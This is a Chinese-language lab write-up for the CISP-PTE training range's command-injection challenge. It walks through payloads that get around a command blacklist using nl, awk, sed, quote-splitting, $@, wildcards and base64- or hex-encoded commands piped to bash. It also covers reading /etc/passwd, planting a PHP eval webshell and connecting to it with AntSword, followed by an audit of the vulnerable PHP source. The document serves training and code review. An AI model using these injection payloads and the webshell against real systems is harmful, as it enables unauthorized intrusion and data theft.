目录
[(1)方法1:ls ..](#(1)方法1:ls ..)
[(2)方法1:ls /var/www/html](#(2)方法1:ls /var/www/html)
[(8)awk '{print}'查看flag](#(8)awk '{print}'查看flag)
[(9)sed 查看flag(成功)](#(9)sed 查看flag(成功))
本文通过10种渗透方法详细讲解CISP-PTE靶场命令执行关卡cat绕过的渗透实战全流程。通过分析靶场页面提示,发现存在命令执行安全风险,尝试使用cat、more、less等命令查看flag文件均被过滤。成功利用nl、awk、sed等未被过滤命令以及单双引号绕过、shell特殊字符等方法读取flag。随后通过命令注入写入木马文件,使用蚁剑连接获取服务器权限。代码审计发现安全风险源于过滤逻辑缺陷,黑名单仅限制9个命令,且IP验证不严格。文章还总结了绕过过滤的多种思路,包括使用替代命令、命令拼接和编码混淆等技术。
一、渗透实战
1、打开靶场
打开靶场,页面提示"命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。请开始答题!"
http://e98526d0.clsadp.com/

点击进入答题,如下所示进入了命令执行页面,提示"验证主机是否存活"。
http://e98526d0.clsadp.com/vulnerabilities/fu1.php

2、查看当前目录
127.0.0.1&ls
输出信息footer.php fu1.php function.php index.php nav1.php nav1.php

3、查看根目录
根据当前URL可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目/var/www/html,也就是说查看网站根目录的命令可以用ls ..来执行,这个命令等同于执行命令ls /var/www/html。
http://e98526d0.clsadp.com/vulnerabilities/fu1.php
(1)方法1:ls ..
127.0.0.1&ls ..
执行结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

(2)方法1:ls /var/www/html
127.0.0.1&ls /var/www/html
执行结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

4、查看flag
(1)cat查看flag(失败)
127.0.0.1&cat ../key.php
如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明cat可能被过滤了

(2)more查看flag(失败)
127.0.0.1&more ../key.php
如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明more可能被过滤了。

(3)less查看flag(失败)
127.0.0.1&less ../key.php
如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明less可能被过滤了。

(4)nl查看flag(成功)
127.0.0.1&nl ../key.php
-
nl- 行号编号命令,用于给文件内容添加行号显示 -
不在黑名单中(黑名单只有cat、less、more等9个命令)
-
功能与cat类似,但会显示行号
-
../key.php- 目标文件路径
如下所示渗透成功,右键元素获取到flag值。

右键源码查看flag,如下所示。

(5)单引号绕过(成功)
127.0.0.1; c''at ../key.php
-
使用空单引号来混淆"cat"命令
-
在Shell中,
c''at会被解析为c + 空字符串 + at = cat -
单引号内的内容为空,不影响命令执行
-
Shell会自动进行字符串连接:
c + '' + at = cat -
最终执行:
cat ../key.php

(6)双引号绕过(成功)
127.0.0.1; c""at ../key.php
-
使用空双引号来混淆"cat"命令
-
在Shell中,
c""at会被解析为c + 空字符串 + at = cat -
双引号内的内容为空,不影响命令执行
-
Shell会自动进行字符串连接:
c + "" + at = cat -
最终执行:
cat ../key.php

(7)shell特殊字符(成功)
利用Shell 特殊变量绕过
127.0.0.1; ca$@t ../key.php
-
使用环境变量和特殊字符来混淆"cat"命令
-
$@在Shell中是一个特殊参数,代表所有位置参数 -
在Shell解析时:
-
$@扩展为空字符串(因为没有位置参数) -
命令变成:
ca + 空字符串 + t = cat -
最终执行:
cat ../key.php
-

(8)awk '{print}'查看flag
127.0.0.1;awk '{print}' ../key.php
-
awk命令不在黑名单中(黑名单只有cat、less、more等9个命令) -
'{print}'是awk的打印动作,会输出文件的每一行 -
../key.php指定要读取的目标文件路径

(9)sed 查看flag(成功)
127.0.0.1;sed -n '1,$p' ../key.php
-
sed- 流编辑器,用于文本处理(不在黑名单中) -
-n- 安静模式,不自动打印模式空间 -
'1,$p'- 地址范围从第1行到最后一行($),执行打印(p)操作 -
../key.php- 目标文件路径(上级目录的key.php文件)

二、写入木马法获取flag
1、植入木马
127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php

2、浏览器hackbar访问
http://e98526d0.clsadp.com/vulnerabilities/mooyuan.php
ljn=phpinfo();

3、蚁剑工具访问
http://e98526d0.clsadp.com/vulnerabilities/mooyuan.php
密码ljn




4、获取flag
/var/www/html/key.php

/var/www/html/key.php

三、代码审计
1、查看fu1.php源码
通过蚁剑工具打开/var/www/html/vulnerabilities/fu1.php文件查看源码,如下所示代码实现的主机存活检测功能存在严重命令注入安全风险。其使用逻辑或连接三个验证条件,只要IP格式验证通过或输入为空即可绕过命令过滤,导致用户输入被直接拼接进system函数执行,攻击者可通过注入分号等符号执行任意系统命令,严重威胁服务器安全。

PHP代码实现了一个存在安全风险的主机存活检测功能,通过POST表单接收用户输入的cmd参数后,使用"||"逻辑或运算符连接三个验证条件:filter()函数检查是否包含黑名单命令、filterip()函数验证IP地址格式、以及empty()判断是否为空。只要任一条件为真就会执行system("ping -c 1 $cmd")命令。这个逻辑设计存在致命缺陷------攻击者只需输入合法IP地址或空值即可完全绕过命令过滤检测,从而在IP参数位置注入分号、管道符等连接符拼接任意系统命令。代码直接将未经验证的用户输入拼接进系统命令,结合有缺陷的过滤逻辑,形成了典型的命令注入风险,导致攻击者能够执行任意系统指令,严重威胁服务器安全。完整代码如下所示。
<!DOCTYPE html>
<html>
<head>
<meta charset="gb2312">
<title>CISP-PTE 认证考试</title>
<link rel="stylesheet" href="../css/materialize.min.css">
</head>
<body>
<div class="container">
<?php error_reporting(0); ?>
<!-- Navbar goes here -->
<!-- Page Layout here -->
<div class="row">
<div class="col s3">
<?php
include("nav1.php");
include("function.php");
?>
</div>
<div class="col s9">
<h5>基础题目之命令执行</h5>
<b>描述</b>
<p>请开始答题</p>
<div class="card teal lighten-1">
<div class="card-content white-text">
<span class="card-title">验证主机是否存活</span>
<form method=POST enctype="multipart/form-data" action="">
<input type="text" name="cmd">
<input type=submit value="提交"></form>
</div>
<div class="card-action">
<?php
$cmd = $_POST["cmd"];
if (filter($cmd) || filterip($cmd) || empty($cmd))
{
echo system("ping -c 1 $cmd");
}
else
{
echo "你输入的命令包含敏感字符!请检查命令是否填写正确!";
}
?>
</div>
</div>
</div>
</div>
</div>
<p align="center"><?php include("footer.php"); ?> </p>
</body>
</html>
2、查看function.php源码
通过蚁剑工具打开/var/www/html/vulnerabilities/function.php文件,查看过滤函数filter的具体实现,如下所示。

这段PHP代码实现了两个安全过滤函数:filter()函数通过黑名单机制检测用户输入命令是否包含9种危险文件操作命令(cat、less、more、tac、head、tail、od、mv、cp),使用不区分大小写的stristr函数进行匹配,发现危险命令则拒绝执行;filterip()函数利用PHP内置的FILTER_VALIDATE_IP过滤器严格验证IP地址格式的合法性。两个函数共同构成应用层安全防护体系,旨在防止命令注入攻击和IP地址伪造,适用于需要执行系统命令和验证网络地址的Web应用场景,通过输入过滤提升系统安全性。注释后的源码如下所示。
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <?php /** * 命令安全过滤函数 * 功能:检查输入命令是否包含危险文件操作命令 */ function filter(cmd) { // 定义危险命令黑名单数组 // 主要包含文件读取和操作相关的命令 cmdarrays = array("cat", "less", "more","tac","head","tail","od","mv","cp"); // 遍历黑名单数组,检查输入命令是否包含危险命令 foreach (cmdarrays as \&value ) { // 使用stristr函数进行不区分大小写的字符串查找 // 如果找到黑名单中的命令,返回false(拒绝执行) if (stristr(cmd, value)) { return false; } } return true; // 未检测到危险命令,返回true(允许执行) } /** * IP地址验证函数 * 功能:验证输入是否为合法的IP地址格式 */ function filterip(ip) { // 使用PHP内置的FILTER_VALIDATE_IP过滤器验证IP地址格式 // 支持IPv4、IPv6等标准格式验证 if(filter_var(ip, FILTER_VALIDATE_IP)) { return true; // IP地址格式正确,返回true } return false; // IP地址格式错误,返回false } ?> |
3、绕过filter()函数的思路
(1)使用未过滤的命令
由于黑名单只包含9个命令,可以使用其他命令替代:
# 使用nl命令(行号显示)
127.0.0.1;nl /etc/passwd
# 使用grep命令
127.0.0.1;grep -r "" /etc/passwd
# 使用awk命令
127.0.0.1;awk '{print}' /etc/passwd
# 使用sed命令
127.0.0.1;sed -n '1,$p' /etc/passwd
(2)命令拼接和嵌套
# 使用命令替换
127.0.0.1;c''a''t /etc/passwd
127.0.0.1;c\at /etc/passwd
# 使用环境变量
127.0.0.1;/bin/ca? /etc/passwd
127.0.0.1;ca$@t /etc/passwd
# 使用通配符
127.0.0.1;/???/c?t /etc/passwd
(3)编码和混淆
# Base64编码绕过
127.0.0.1;echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
# Hex编码
127.0.0.1;echo '636174202f6574632f706173737764' | xxd -r -p | bash
# 使用printf
127.0.0.1;printf 'cat\x20/etc/passwd' | bash